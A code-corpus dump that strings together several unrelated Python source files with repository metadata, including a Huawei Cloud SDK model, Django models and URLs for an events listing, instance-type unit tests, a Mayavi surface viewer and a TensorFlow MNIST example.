def _managers_changed(self, obj, name, old, new):
if new:
self.parser.enable_manager(obj.name, self.plugin_name)
else:
self.parser.disable_manager(obj.name, self.plugin_name)
@on_trait_change('devices:enabled')
def _devices_changed(self, obj, name, old, new):
if new:
self.parser.enable_device(obj.name, self.plugin_name)
else:
self.parser.disable_device(obj.name, self.plugin_name)
def _managers_default(self):
r = []
# get the plugin this manager belongs to
plugin = self.parser.get_plugin(self.plugin_name)
mans = self.parser.get_managers(plugin, element=True, all=True)
if mans is not None:
r = [CItem(enabled=True if m.get('enabled').lower() == 'true' else False,
name=m.text.strip()
)
for m in mans]
return r
def _devices_default(self):
r = []
# get the plugin this manager belongs to
plugin = self.parser.get_plugin(self.plugin_name)
devs = self.parser.get_devices(plugin, element=True, all=True)
if devs is not None:
r = [CItem(enabled=True if d.get('enabled').lower() == 'true' else False,
name=d.text.strip()
)
for d in devs]
return r
def get_additional_groups(self):
return []
def get_general_group(self):
window_grp = Group('width',
'height',
'x', 'y')
return Group(Item('open_on_startup'),
HGroup(
Item('close_after', enabled_when='enable_close_after'),
Item('enable_close_after', show_label=False)
),
window_grp
)
#============= views ===================================
def traits_view(self):
'''
'''
cols = [CheckboxColumn(name='enabled',
),
ObjectColumn(name='name', editable=False)
]
table_editor = TableEditor(columns=cols)
devices_group = VGroup(Item('devices', show_label=False,
editor=table_editor,
height=400
),
label='Devices'
)
manager_group = VGroup(Item('managers', show_label=False,
editor=table_editor,
height=400
),
label='Managers'
)
grp = Group(
manager_group,
devices_group,
layout='tabbed')
ggrp = self.get_general_group()
if ggrp is not None:
ggrp.label = 'General'
grp.content.insert(0, ggrp)
for ag in self.get_additional_groups():
grp.content.append(ag)
v = View(
grp
)
return v
#============= EOF ==============================================
| [
"jirhiker@localhost"
] | jirhiker@localhost |
e6808933779bd451c7f3c2aed9096baf82d6ac01 | a2d36e471988e0fae32e9a9d559204ebb065ab7f | /huaweicloud-sdk-elb/huaweicloudsdkelb/v2/model/l7rules_in_status_resp.py | ff144526f91124a278e439806850ab972c0a4e27 | [
"Apache-2.0"
] | permissive | zhouxy666/huaweicloud-sdk-python-v3 | 4d878a90b8e003875fc803a61414788e5e4c2c34 | cc6f10a53205be4cb111d3ecfef8135ea804fa15 | refs/heads/master | 2023-09-02T07:41:12.605394 | 2021-11-12T03:20:11 | 2021-11-12T03:20:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,606 | py | # coding: utf-8
import re
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class L7rulesInStatusResp:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
sensitive_list = []
openapi_types = {
'type': 'str',
'id': 'str',
'provisioning_status': 'str'
}
attribute_map = {
'type': 'type',
'id': 'id',
'provisioning_status': 'provisioning_status'
}
def __init__(self, type=None, id=None, provisioning_status=None):
"""L7rulesInStatusResp - a model defined in huaweicloud sdk"""
self._type = None
self._id = None
self._provisioning_status = None
self.discriminator = None
self.type = type
self.id = id
self.provisioning_status = provisioning_status
@property
def type(self):
"""Gets the type of this L7rulesInStatusResp.
转发规则的匹配内容。PATH:匹配请求中的路径;HOST_NAME:匹配请求中的域名
:return: The type of this L7rulesInStatusResp.
:rtype: str
"""
return self._type
@type.setter
def type(self, type):
"""Sets the type of this L7rulesInStatusResp.
转发规则的匹配内容。PATH:匹配请求中的路径;HOST_NAME:匹配请求中的域名
:param type: The type of this L7rulesInStatusResp.
:type: str
"""
self._type = type
@property
def id(self):
"""Gets the id of this L7rulesInStatusResp.
转发规则ID
:return: The id of this L7rulesInStatusResp.
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this L7rulesInStatusResp.
转发规则ID
:param id: The id of this L7rulesInStatusResp.
:type: str
"""
self._id = id
@property
def provisioning_status(self):
"""Gets the provisioning_status of this L7rulesInStatusResp.
转发规则的配置状态;该字段为预留字段,暂未启用。默认为ACTIVE。
:return: The provisioning_status of this L7rulesInStatusResp.
:rtype: str
"""
return self._provisioning_status
@provisioning_status.setter
def provisioning_status(self, provisioning_status):
"""Sets the provisioning_status of this L7rulesInStatusResp.
转发规则的配置状态;该字段为预留字段,暂未启用。默认为ACTIVE。
:param provisioning_status: The provisioning_status of this L7rulesInStatusResp.
:type: str
"""
self._provisioning_status = provisioning_status
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
if attr in self.sensitive_list:
result[attr] = "****"
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
import simplejson as json
if six.PY2:
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)
def __repr__(self):
"""For `print`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, L7rulesInStatusResp):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"[email protected]"
] | |
916e8c7b89063ad6ce6aa8d92e0e6f6d877c3e5d | 1b2f60bfbb38353c829a066b7a5d58b84122e460 | /python/scale-generator/scale_generator.py | dd3627cef2e40277b3338afb90ca55f33b7eda14 | [] | no_license | krok64/exercism.io | 9f03553a9efd1eb89f1844265fa2b06210b5803b | 2c0439f533977a4d935c962e5b3e9a3c7111ac66 | refs/heads/master | 2021-01-20T02:20:30.048587 | 2017-08-24T16:34:02 | 2017-08-24T16:34:02 | 101,316,193 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,693 | py | octave_sharp = ['A', 'A#', 'B', 'C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#']
octave_flat = ['A', 'Bb', 'B', 'C', 'Db', 'D', 'Eb', 'E', 'F', 'Gb', 'G', 'Ab']
class Scale(object):
def __init__(self, start, name, intervals=""):
if len(start) > 1:
self.start = start[0].upper() + start[1]
oct_type = start[1]
else:
self.start = start[0].upper()
oct_type = "?"
self.name = start.upper() + " " + name
self.intervals = intervals
self.pitches = []
if intervals == "":
#why? Why??? WHY??????
if self.start[0] == 'F':
octave = octave_flat
else:
octave = octave_sharp
idx = octave.index(self.start)
self.pitches = octave[idx:] + octave[:idx]
else:
if oct_type == "b":
octave = octave_flat
elif oct_type == "#":
octave = octave_sharp
else:
octave = octave_sharp
#why? Why??? WHY??????
if start == 'g' or start == 'd':
octave = octave_flat
idx = octave.index(self.start)
self.pitches.append(octave[idx])
for ch in self.intervals[:-1]:
if ch=='M':
idx_dx = 2
elif ch=='m':
idx_dx = 1
elif ch=='A':
idx_dx = 3
else:
raise ValueError
idx += idx_dx
if idx >= len(octave):
idx = idx - len(octave)
self.pitches.append(octave[idx])
| [
"[email protected]"
] | |
ed7dbfe8a4d867bb7f31bb99aa021aed9a7b1869 | 89594edf581b8512d262768fb4c3e0ad001996a9 | /colibris/shortcuts.py | 458659843d933d06ecd650c70b38b096a2de2902 | [
"BSD-3-Clause"
] | permissive | colibris-framework/colibris | b8524ac31a100c987dcbb5954b23f8c309370be3 | 9655016637888c480f49f92711caa6088013e442 | refs/heads/master | 2023-08-08T11:45:36.191451 | 2023-08-07T07:15:32 | 2023-08-07T07:15:32 | 193,250,040 | 7 | 2 | BSD-3-Clause | 2021-09-12T21:52:07 | 2019-06-22T15:35:53 | Python | UTF-8 | Python | false | false | 1,001 | py |
from aiohttp.web import Response
from colibris import api
from colibris import template
def get_object_or_404(model, pk, select_related=None):
select_related = set(select_related or ())
try:
q = model.select(model, *select_related).where(model._meta.primary_key == pk)
for m in select_related:
q = q.join(m)
return q.get()
except model.DoesNotExist:
raise api.ModelNotFoundException(model)
def html_response(body=None, status=200, reason=None, headers=None, content_type='text/html'):
return Response(body=body, status=status, reason=reason,
headers=headers, content_type=content_type)
def html_response_template(template_name=None, status=200, reason=None, headers=None, content_type='text/html',
**context):
return html_response(body=template.render(template_name, **context),
status=status, reason=reason, headers=headers, content_type=content_type)
| [
"[email protected]"
] | |
4849a3e0eb1d97ad3ac79041e9c8b99dd486ca9e | 7109eecfb78e0123b534ef960dbf42be38e49514 | /x7-src/engine/engine/tests/test_instance_types.py | 75b1f3731633e5e8cc605923adde5f9f09c60170 | [
"Apache-2.0"
] | permissive | wendy-king/x7_compute_venv | a6eadd9a06717090acea3312feebcbc9d3925e88 | 12d74f15147868463954ebd4a8e66d5428b6f56d | refs/heads/master | 2016-09-06T16:58:13.897069 | 2012-01-31T01:26:27 | 2012-01-31T01:26:27 | 3,310,779 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,690 | py | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 Ken Pepple
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Unit Tests for instance types code
"""
import time
from engine import context
from engine import db
from engine import exception
from engine import flags
from engine import log as logging
from engine import test
from engine import utils
from engine.compute import instance_types
from engine.db.sqlalchemy.session import get_session
from engine.db.sqlalchemy import models
FLAGS = flags.FLAGS
LOG = logging.getLogger('engine.tests.compute')
class InstanceTypeTestCase(test.TestCase):
"""Test cases for instance type code"""
def setUp(self):
super(InstanceTypeTestCase, self).setUp()
session = get_session()
def _generate_name(self):
"""return a name not in the DB"""
nonexistent_flavor = str(int(time.time()))
flavors = instance_types.get_all_types()
while nonexistent_flavor in flavors:
nonexistent_flavor += "z"
else:
return nonexistent_flavor
def _generate_flavorid(self):
"""return a flavorid not in the DB"""
nonexistent_flavor = 2700
flavor_ids = [value["id"] for key, value in\
instance_types.get_all_types().iteritems()]
while nonexistent_flavor in flavor_ids:
nonexistent_flavor += 1
else:
return nonexistent_flavor
def _existing_flavor(self):
"""return first instance type name"""
return instance_types.get_all_types().keys()[0]
def test_instance_type_create_then_delete(self):
"""Ensure instance types can be created"""
name = 'Small Flavor'
flavorid = 'flavor1'
original_list = instance_types.get_all_types()
# create new type and make sure values stick
inst_type = instance_types.create(name, 256, 1, 120, flavorid)
inst_type_id = inst_type['id']
self.assertEqual(inst_type['flavorid'], flavorid)
self.assertEqual(inst_type['name'], name)
self.assertEqual(inst_type['memory_mb'], 256)
self.assertEqual(inst_type['vcpus'], 1)
self.assertEqual(inst_type['local_gb'], 120)
self.assertEqual(inst_type['swap'], 0)
self.assertEqual(inst_type['rxtx_factor'], 1)
# make sure new type shows up in list
new_list = instance_types.get_all_types()
self.assertNotEqual(len(original_list), len(new_list),
'instance type was not created')
# destroy instance and make sure deleted flag is set to True
instance_types.destroy(name)
inst_type = instance_types.get_instance_type(inst_type_id)
self.assertEqual(1, inst_type["deleted"])
# deleted instance should not be in list anymoer
new_list = instance_types.get_all_types()
self.assertEqual(original_list, new_list)
# ensure instances are gone after purge
instance_types.purge(name)
new_list = instance_types.get_all_types()
self.assertEqual(original_list, new_list,
'instance type not purged')
def test_get_all_instance_types(self):
"""Ensures that all instance types can be retrieved"""
session = get_session()
total_instance_types = session.query(models.InstanceTypes).count()
inst_types = instance_types.get_all_types()
self.assertEqual(total_instance_types, len(inst_types))
def test_invalid_create_args_should_fail(self):
"""Ensures that instance type creation fails with invalid args"""
invalid_sigs = [
(('Zero memory', 0, 1, 10, 'flavor1'), {}),
(('Negative memory', -256, 1, 10, 'flavor1'), {}),
(('Non-integer memory', 'asdf', 1, 10, 'flavor1'), {}),
(('Zero vcpus', 256, 0, 10, 'flavor1'), {}),
(('Negative vcpus', 256, -1, 10, 'flavor1'), {}),
(('Non-integer vcpus', 256, 'a', 10, 'flavor1'), {}),
(('Negative storage', 256, 1, -1, 'flavor1'), {}),
(('Non-integer storage', 256, 1, 'a', 'flavor1'), {}),
(('Negative swap', 256, 1, 10, 'flavor1'), {'swap': -1}),
(('Non-integer swap', 256, 1, 10, 'flavor1'), {'swap': -1}),
(('Negative rxtx_factor', 256, 1, 10, 'f1'), {'rxtx_factor': -1}),
(('Non-integer rxtx_factor', 256, 1, 10, 'f1'),
{'rxtx_factor': "d"}),
]
for (args, kwargs) in invalid_sigs:
self.assertRaises(exception.InvalidInput,
instance_types.create, *args, **kwargs)
def test_non_existent_inst_type_shouldnt_delete(self):
"""Ensures that instance type creation fails with invalid args"""
self.assertRaises(exception.InstanceTypeNotFoundByName,
instance_types.destroy,
'unknown_flavor')
def test_duplicate_names_fail(self):
"""Ensures that name duplicates raise ApiError"""
name = 'some_name'
instance_types.create(name, 256, 1, 120, 'flavor1')
self.assertRaises(exception.ApiError,
instance_types.create,
name, 256, 1, 120, 'flavor2')
def test_duplicate_flavorids_fail(self):
"""Ensures that flavorid duplicates raise ApiError"""
flavorid = 'flavor1'
instance_types.create('name one', 256, 1, 120, flavorid)
self.assertRaises(exception.ApiError,
instance_types.create,
'name two', 256, 1, 120, flavorid)
def test_will_not_destroy_with_no_name(self):
"""Ensure destroy sad path of no name raises error"""
self.assertRaises(exception.InstanceTypeNotFoundByName,
instance_types.destroy, None)
def test_will_not_purge_without_name(self):
"""Ensure purge without a name raises error"""
self.assertRaises(exception.InstanceTypeNotFoundByName,
instance_types.purge, None)
def test_will_not_purge_with_wrong_name(self):
"""Ensure purge without correct name raises error"""
self.assertRaises(exception.InstanceTypeNotFound,
instance_types.purge,
'unknown_flavor')
def test_will_not_get_bad_default_instance_type(self):
"""ensures error raised on bad default instance type"""
FLAGS.default_instance_type = 'unknown_flavor'
self.assertRaises(exception.InstanceTypeNotFoundByName,
instance_types.get_default_instance_type)
def test_will_get_instance_type_by_id(self):
default_instance_type = instance_types.get_default_instance_type()
instance_type_id = default_instance_type['id']
fetched = instance_types.get_instance_type(instance_type_id)
self.assertEqual(default_instance_type, fetched)
def test_will_not_get_instance_type_by_unknown_id(self):
"""Ensure get by name returns default flavor with no name"""
self.assertRaises(exception.InstanceTypeNotFound,
instance_types.get_instance_type, 10000)
def test_will_not_get_instance_type_with_bad_id(self):
"""Ensure get by name returns default flavor with bad name"""
self.assertRaises(exception.InstanceTypeNotFound,
instance_types.get_instance_type, 'asdf')
def test_instance_type_get_by_None_name_returns_default(self):
"""Ensure get by name returns default flavor with no name"""
default = instance_types.get_default_instance_type()
actual = instance_types.get_instance_type_by_name(None)
self.assertEqual(default, actual)
def test_will_not_get_instance_type_with_bad_name(self):
"""Ensure get by name returns default flavor with bad name"""
self.assertRaises(exception.InstanceTypeNotFoundByName,
instance_types.get_instance_type_by_name, 10000)
def test_will_not_get_instance_by_unknown_flavor_id(self):
"""Ensure get by flavor raises error with wrong flavorid"""
self.assertRaises(exception.FlavorNotFound,
instance_types.get_instance_type_by_flavor_id,
'unknown_flavor')
def test_will_get_instance_by_flavor_id(self):
default_instance_type = instance_types.get_default_instance_type()
flavorid = default_instance_type['flavorid']
fetched = instance_types.get_instance_type_by_flavor_id(flavorid)
self.assertEqual(default_instance_type, fetched)
class InstanceTypeFilteringTest(test.TestCase):
"""Test cases for the filter option available for instance_type_get_all"""
def setUp(self):
super(InstanceTypeFilteringTest, self).setUp()
self.context = context.get_admin_context()
def assertFilterResults(self, filters, expected):
inst_types = db.instance_type_get_all(
self.context, filters=filters)
inst_names = [i['name'] for i in inst_types]
self.assertEqual(inst_names, expected)
def test_no_filters(self):
filters = None
expected = ['m1.large', 'm1.medium', 'm1.small', 'm1.tiny',
'm1.xlarge']
self.assertFilterResults(filters, expected)
def test_min_memory_mb_filter(self):
"""Exclude tiny instance which is 512 MB"""
filters = dict(min_memory_mb=513)
expected = ['m1.large', 'm1.medium', 'm1.small', 'm1.xlarge']
self.assertFilterResults(filters, expected)
def test_min_local_gb_filter(self):
"""Exclude everything but large and xlarge which have >= 80 GB"""
filters = dict(min_local_gb=80)
expected = ['m1.large', 'm1.xlarge']
self.assertFilterResults(filters, expected)
def test_min_memory_mb_AND_local_gb_filter(self):
"""Exclude everything but large and xlarge which have >= 80 GB"""
filters = dict(min_memory_mb=16384, min_local_gb=80)
expected = ['m1.xlarge']
self.assertFilterResults(filters, expected)
| [
"[email protected]"
] | |
fb125fa8acb5c1f5dfb931330794b6f3a4afe128 | c8539e19bfc783c41f76ab23cdccdab919c341b4 | /changes-for-FreeROI/froi/widgets/surfaceview.py | 9d4c6a9d9e1ac9beee1354f6b56c78fa2d655a61 | [] | no_license | sunshineDrizzle/backups-for-forked-repo | 2dbf4a0750aef9d9009f6b921198fecb35ead7c7 | 8f905a6f53b6189e91f7925ac950f1e94f478169 | refs/heads/master | 2020-07-26T20:34:51.247940 | 2016-11-24T03:46:28 | 2016-11-24T03:46:28 | 73,715,560 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,230 | py | import os
import sys
import sip
from traits.api import HasTraits, Instance
from traitsui.api import View, Item
from tvtk.api import tvtk
from PyQt4.QtGui import *
from mayavi.core.ui.api import SceneEditor, MayaviScene, MlabSceneModel
from mayavi import mlab
import numpy as np
from treemodel import TreeModel
# Helpers
# ---------------------------------------------------------------------------------------------------------
def _toggle_toolbar(figure, show=None):
"""
Toggle toolbar display
Parameters
----------
figure: the mlab figure
show : bool | None
If None, the state is toggled. If True, the toolbar will
be shown, if False, hidden.
"""
if figure.scene is not None:
if hasattr(figure.scene, 'scene_editor'):
# Within TraitsUI
bar = figure.scene.scene_editor._tool_bar
else:
# Mayavi figure
bar = figure.scene._tool_bar
if show is None:
if hasattr(bar, 'isVisible'):
show = not bar.isVisble()
elif hasattr(bar, 'Shown'):
show = not bar.Shown()
if hasattr(bar, 'setVisible'):
bar.setVisible(show)
elif hasattr(bar, 'Show'):
bar.Show(show)
# show surface
# ---------------------------------------------------------------------------------------------------------
class Visualization(HasTraits):
scene = Instance(MlabSceneModel, ())
view = View(Item("scene", height=400, width=400,
editor=SceneEditor(scene_class=MayaviScene), show_label=False),
resizable=True)
class SurfaceView(QWidget):
def __init__(self, parent=None):
super(SurfaceView, self).__init__(parent)
# initialize GUI
self.setMinimumSize(800, 850)
self.setBackgroundRole(QPalette.Dark)
# get mayavi scene
# The edit_traits call will generate the widget to embed.
self.visualization = Visualization()
surface_view = self.visualization.edit_traits(parent=self, kind="subpanel").control
# self.ui.setParent(self)
# get rid of the toolbar
figure = mlab.gcf()
_toggle_toolbar(figure, False)
# Initialize some fields
self.surface_model = None
self.surf = None
self.coords = None
self.rgba_lut = None
self.gcf_flag = True
hlayout = QHBoxLayout()
hlayout.addWidget(surface_view)
self.setLayout(hlayout)
def _show_surface(self):
"""
render the overlays
"""
hemisphere_list = self.surface_model.get_data()
# clear the old surface
if self.surf is not None:
self.surf.remove()
# reset
first_hemi_flag = True
faces = None
nn = None
self.rgba_lut = None
vertex_number = 0
for hemisphere in hemisphere_list:
if hemisphere.is_visible():
# get geometry's information
geo = hemisphere.surf['white'] # 'white' should be replaced with var: surf_type
hemi_coords = geo.get_coords()
hemi_faces = geo.get_faces()
hemi_nn = geo.get_nn()
# get the rgba_lut
rgb_array = hemisphere.get_composite_rgb()
hemi_vertex_number = rgb_array.shape[0]
alpha_channel = np.ones((hemi_vertex_number, 1), dtype=np.uint8)*255
hemi_lut = np.c_[rgb_array, alpha_channel]
if first_hemi_flag:
first_hemi_flag = False
self.coords = hemi_coords
faces = hemi_faces
nn = hemi_nn
self.rgba_lut = hemi_lut
else:
self.coords = np.r_[self.coords, hemi_coords]
hemi_faces += vertex_number
faces = np.r_[faces, hemi_faces]
nn = np.r_[nn, hemi_nn]
self.rgba_lut = np.r_[self.rgba_lut, hemi_lut]
vertex_number += hemi_vertex_number
# generate the triangular mesh
scalars = np.array(range(vertex_number))
mesh = self.visualization.scene.mlab.pipeline.triangular_mesh_source(self.coords[:, 0],
self.coords[:, 1],
self.coords[:, 2],
faces,
scalars=scalars)
mesh.data.point_data.normals = nn
mesh.data.cell_data.normals = None
# generate the surface
self.surf = self.visualization.scene.mlab.pipeline.surface(mesh)
self.surf.module_manager.scalar_lut_manager.lut.table = self.rgba_lut
# add point picker observer
if self.gcf_flag:
self.gcf_flag = False
fig = mlab.gcf()
fig.on_mouse_pick(self._picker_callback_left)
fig.scene.picker.pointpicker.add_observer("EndPickEvent", self._picker_callback)
def _picker_callback(self, picker_obj, evt):
# test
print 'come in the picker callback'
picker_obj = tvtk.to_tvtk(picker_obj)
tmp_pos = picker_obj.picked_positions.to_array()
# test
print tmp_pos
if len(tmp_pos):
distance = np.sum(np.abs(self.coords - tmp_pos[0]), axis=1)
picked_id = np.argmin(distance)
tmp_lut = self.rgba_lut.copy()
self._toggle_color(tmp_lut[picked_id])
self.surf.module_manager.scalar_lut_manager.lut.table = tmp_lut
@staticmethod
def _toggle_color(color):
"""
make the color look differently
:param color: a alterable variable
rgb or rgba
:return:
"""
green_max = 255
red_max = 255
blue_max = 255
if green_max-color[1] >= green_max / 2.0:
color[:3] = np.array((0, 255, 0))
elif red_max - color[0] >= red_max / 2.0:
color[:3] = np.array((255, 0, 0))
elif blue_max-color[2] >= blue_max / 2.0:
color[:3] = np.array((0, 0, 255))
else:
color[:3] = np.array((0, 0, 255))
def _picker_callback_left(self, picker_obj):
pass
def _create_connections(self):
self.surface_model.repaint_surface.connect(self._show_surface)
# user-oriented methods
# -----------------------------------------------------------------
def set_model(self, surface_model):
if isinstance(surface_model, TreeModel):
self.surface_model = surface_model
self._create_connections()
else:
raise ValueError("The model must be the instance of the TreeModel!")
if __name__ == "__main__":
surface_view = SurfaceView()
surface_view.setWindowTitle("surface view")
surface_view.setWindowIcon(QIcon("/nfs/j3/userhome/chenxiayu/workingdir/icon/QAli.png"))
surface_view.show()
qApp.exec_()
sys.exit()
| [
"[email protected]"
] | |
8c326a9f5b917f0c00f6be14192f9f51fcdbbc62 | 142362be3c4f8b19bd118126baccab06d0514c5b | /apps/afisha/models.py | 584eac76f905a53e8ae27099f259719cb122eca0 | [] | no_license | dkramorov/astwobytes | 84afa4060ffed77d5fd1a6e8bf5c5c69b8115de6 | 55071537c5c84d0a27757f11ae42904745cc1c59 | refs/heads/master | 2023-08-27T07:10:51.883300 | 2023-08-02T16:52:17 | 2023-08-02T16:52:17 | 191,950,319 | 0 | 0 | null | 2022-11-22T09:15:42 | 2019-06-14T13:44:23 | HTML | UTF-8 | Python | false | false | 4,622 | py | # -*- coding: utf-8 -*-
import os
from django.db import models
from apps.main_functions.string_parser import translit
from apps.main_functions.models import Standard
class Rubrics(Standard):
"""Рубрикатор мест"""
name = models.CharField(max_length=255, blank=True, null=True, db_index=True)
# tag = ссылка на донора irk.ru
tag = models.CharField(max_length=255, blank=True, null=True, db_index=True)
def __unicode__(self):
return u"{}".format(self.name)
class Meta:
verbose_name = 'Афиша - Рубрикатор мест'
verbose_name_plural = 'Афиша - Рубрикатор мест'
class RGenres(Standard):
"""Рубрикатор жанров"""
name = models.CharField(max_length=255, blank=True, null=True, db_index=True)
altname = models.CharField(max_length=255, blank=True, null=True, db_index=True)
# tag = ссылка на донора irk.ru
tag = models.CharField(max_length=255, blank=True, null=True, db_index=True)
def find_genre_altname(self, z=0):
if self.name:
self.altname = translit(self.name)
def __unicode__(self):
return u"{}".format(self.name)
class Meta:
verbose_name = 'Афиша - Жанры'
verbose_name_plural = 'Афиша - Жанры'
class REvents(Standard):
"""События"""
name = models.CharField(max_length=255, blank=True, null=True, db_index=True)
# tag = ссылка на донора irk.ru
tag = models.CharField(max_length=255, blank=True, null=True, db_index=True)
duration = models.CharField(max_length=255, blank=True, null=True, verbose_name="Продолжительность", db_index=True)
label = models.CharField(max_length=255, blank=True, null=True, verbose_name="Ограничение по возрасту", db_index=True)
genre = models.CharField(max_length=255, blank=True, null=True, verbose_name="Жанр", db_index=True)
rgenre = models.ForeignKey(RGenres, blank=True, null=True, on_delete=models.SET_NULL, verbose_name="Рубрика")
country = models.CharField(max_length=255, blank=True, null=True, verbose_name="Страна производства")
trailer = models.TextField(blank=True, null=True, verbose_name="Трейлер")
description = models.TextField(blank=True, null=True, verbose_name="Описание")
producer = models.CharField(max_length=255, blank=True, null=True, verbose_name="Режиссер", db_index=True)
actors = models.TextField(blank=True, null=True, verbose_name="Актеры")
def __unicode__(self):
return u"{}".format(self.name)
class Meta:
verbose_name = 'Афиша - События'
verbose_name_plural = 'Афиша - События'
class Places(Standard):
"""Места (кинотеатры)"""
name = models.CharField(max_length=255, blank=True, null=True, db_index=True)
# tag = ссылка на донора irk.ru
tag = models.CharField(max_length=255, blank=True, null=True, db_index=True)
address_str = models.CharField(max_length=255, blank=True, null=True, db_index=True)
phone_str = models.CharField(max_length=255, blank=True, null=True, db_index=True)
worktime_str = models.CharField(max_length=255, blank=True, null=True, db_index=True)
site_str = models.CharField(max_length=255, blank=True, null=True, db_index=True)
email_str = models.CharField(max_length=255, blank=True, null=True, db_index=True)
description = models.TextField(blank=True, null=True)
#branch = models.ForeignKey(Branches, blank=True, null=True, on_delete=models.SET_NULL, verbose_name="Привязка к филиалу")
rubric = models.ForeignKey(Rubrics, blank=True, null=True, on_delete=models.SET_NULL, verbose_name="Привязка к рубрике")
class Meta:
verbose_name = 'Афиша - Места'
verbose_name_plural = 'Афиша - Места'
class RSeances(Standard):
"""В каких местах, когда происходит событие"""
place = models.ForeignKey(Places, blank=True, null=True, on_delete=models.SET_NULL,)
event = models.ForeignKey(REvents, blank=True, null=True, on_delete=models.SET_NULL,)
date = models.DateField(blank=True, null=True, db_index=True)
hours = models.IntegerField(blank=True, null=True, db_index=True)
minutes = models.IntegerField(blank=True, null=True, db_index=True)
class Meta:
verbose_name = 'Афиша - Сеансы'
verbose_name_plural = 'Афиша - Сеансы'
| [
"[email protected]"
] | |
fcbc1a2c3dce5ff711033e550d925ddd94dee24a | 477630571cef77ad3bf5f9d06890bab39c3abad9 | /backend/posts/urls.py | 2721d73eb674691ea165d87bd3ad1e5cf3eb787d | [] | no_license | lumenwrites/webacademy | 52da663a36a2c403ac1ec97ba2687671f28a7c3f | 4f8bdd4a15b781d7d0a1a7ae312914eaa0d1bd8d | refs/heads/master | 2021-06-11T09:29:00.778011 | 2017-02-24T16:38:51 | 2017-02-24T16:38:51 | 82,233,069 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 736 | py | from django.conf.urls import url
from .views import BrowseView, TagView
from .views import PostDetailView, post_create, post_edit, post_delete
from .views import upvote, unupvote
urlpatterns = [
# url(r'^post/(?P<slug>[^\.]+)/edit$', PostUpdateView.as_view()),
url(r'^post/(?P<slug>[^\.]+)/edit$', post_edit),
url(r'^post/(?P<slug>[^\.]+)/delete$', post_delete),
url(r'^post/(?P<slug>[^\.]+)/$', PostDetailView.as_view(), name='post-detail'),
url(r'^submit$', post_create),
url(r'^upvote/$', upvote),
url(r'^unupvote/$', unupvote),
url(r'^$', BrowseView.as_view()),
url(r'^tag/(?P<slug>[^\.]+)/$', TagView.as_view()),
url(r'^(?P<slug>[^\.]+)-tutorials/$', TagView.as_view()),
]
| [
"[email protected]"
] | |
9aff8fe42f3ef76ccebeceaaab4baa446f5804fe | 463d2ec5da7c7908b27d06d26a51d9645b3d52f1 | /DeepLearning/mnist.py | f98a72a28bb702e2345994bbf5084e1fdb3d3279 | [] | no_license | zhangdavids/workspace | 7b899d7385d0921be78658c60ad18578c12ab10a | 91f3c3e9b27018283132e3928ad2b84db5cc4b77 | refs/heads/master | 2021-07-11T13:21:32.445158 | 2018-11-02T01:04:06 | 2018-11-02T01:04:06 | 104,007,756 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 994 | py | import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
print("Download Done!")
x = tf.placeholder(tf.float32, [None, 784])
# paras
W = tf.Variable(tf.zeros([784, 10]))
b = tf.Variable(tf.zeros([10]))
y = tf.nn.softmax(tf.matmul(x, W) + b)
y_ = tf.placeholder(tf.float32, [None, 10])
# loss func
cross_entropy = -tf.reduce_sum(y_ * tf.log(y))
train_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy)
# init
init = tf.global_variables_initializer()
sess = tf.Session()
sess.run(init)
# train
for i in range(1000):
batch_xs, batch_ys = mnist.train.next_batch(100)
sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})
correct_prediction = tf.equal(tf.arg_max(y, 1), tf.arg_max(y_, 1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float"))
print("Accuarcy on Test-dataset: ", sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels})) | [
"[email protected]"
] | |
57af1a0a76151d4b618724945c15377b7d23b49b | bc441bb06b8948288f110af63feda4e798f30225 | /easy_work_service_sdk/model/patch_manager/patch_manager_host_pb2.py | f25062699d42370fe847f9abf6b7f44077b1e90c | [
"Apache-2.0"
] | permissive | easyopsapis/easyops-api-python | 23204f8846a332c30f5f3ff627bf220940137b6b | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | refs/heads/master | 2020-06-26T23:38:27.308803 | 2020-06-16T07:25:41 | 2020-06-16T07:25:41 | 199,773,131 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | true | 9,427 | py | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: patch_manager_host.proto
import sys
